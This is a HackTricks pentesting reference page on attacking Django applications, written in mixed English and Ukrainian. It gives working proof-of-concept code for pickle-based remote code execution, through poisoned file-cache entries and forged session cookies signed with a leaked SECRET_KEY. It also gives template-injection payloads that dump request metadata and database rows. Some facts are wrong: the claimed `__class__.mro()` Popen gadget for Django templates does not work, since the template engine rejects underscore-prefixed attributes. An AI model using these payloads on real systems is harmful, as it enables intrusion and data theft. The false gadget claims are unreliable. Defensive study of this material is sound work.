Django

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Cache Manipulation to RCE

Django’s default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.

Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It’s important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Виявлення

  1. Шукайте динамічні виклики Template() / Engine.from_string() / render_to_string(), що містять будь-які несанітизовані дані запиту.
  2. Надішліть payload, що використовує час або арифметику:
{{7*7}}

Якщо в результаті рендерингу з’являється 49, то введення компілюється движком шаблонів. 3. DTL is not Jinja2: арифметичні/циклічні payload-и часто викликають TemplateSyntaxError/500, але при цьому доводять, що відбулося виконання. Поліглоти на кшталт ${{<%[%'"}}% добре підходять як crash-or-render зонд.

Context exfiltration when RCE is blocked

Навіть якщо object-walking до subprocess.Popen не вдається, DTL все одно надає доступ до об’єктів у межах області видимості:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() приводить рядки до словників, оминаючи __str__ і роблячи доступними всі поля, які повертає queryset. Це працює навіть коли пряме виконання Python відфільтровано.

Automation pattern: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like /likes/<id> are common). Parse a stable attribute (e.g., title="...") to recover the rendered result and iterate payloads.

Примітив до RCE

Django блокує прямий доступ до __import__, але граф об’єктів Python доступний:

{{''.__class__.mro()[1].__subclasses__()}}

Знайдіть індекс subprocess.Popen (≈400–500 залежно від збірки Python) і виконайте довільні команди:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Більш безпечним універсальним гаджетом є ітерація до тих пір, поки cls.__name__ == 'Popen'.

Той самий гаджет працює для Debug Toolbar або Django-CMS функцій рендерингу шаблонів, які неправильно обробляють введення від користувача.


Also see: ReportLab/xhtml2pdf PDF export RCE

Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views у PDF. Коли HTML, контрольований користувачем, потрапляє в генерацію PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок [[[ ... ]]], що дозволяє виконувати код (CVE-2023-33733). Деталі, payloads, та пом’якшення:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Якщо налаштовано SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' (або використовується кастомний serializer, який десеріалізує pickle), Django дешифрує та розпаковує (unpickles) cookie сесії перед викликом будь-якого коду view. Отже, володіння дійсним ключем підпису (за замовчуванням проектний SECRET_KEY) достатнє для негайного віддаленого виконання коду.

Exploit Requirements

  • Сервер використовує PickleSerializer.
  • Атакуючий знає / може вгадати settings.SECRET_KEY (leaks via GitHub, .env, error pages, etc.).

Доказ концепції

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Надішліть отримане cookie, і payload виконається з правами WSGI worker.

Заходи пом’якшення: Залишайте за замовчуванням JSONSerializer, регулярно змінюйте SECRET_KEY та налаштуйте SESSION_COOKIE_HTTPONLY.


Останні (2023–2025) високопотенційні Django CVE, які слід перевірити pentesters

  • CVE-2025-48432Log Injection via unescaped request.path (виправлено 4 червня 2025). Дозволяє зловмисникам прокрадати newlines/ANSI codes у лог-файли та отруювати подальший аналіз логів. Рівень патча ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection у QuerySet.values()/values_list() на JSONField (CVSS 9.8). Сконструюйте JSON-ключі, щоб вийти з цитування і виконати довільні SQL-запити. Виправлено в 4.2.15 / 5.0.8.

Завжди визначайте точну версію фреймворку через сторінку помилки X-Frame-Options або хеш /static/admin/css/base.css та тестуйте вищезазначене, де це застосовно.


References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks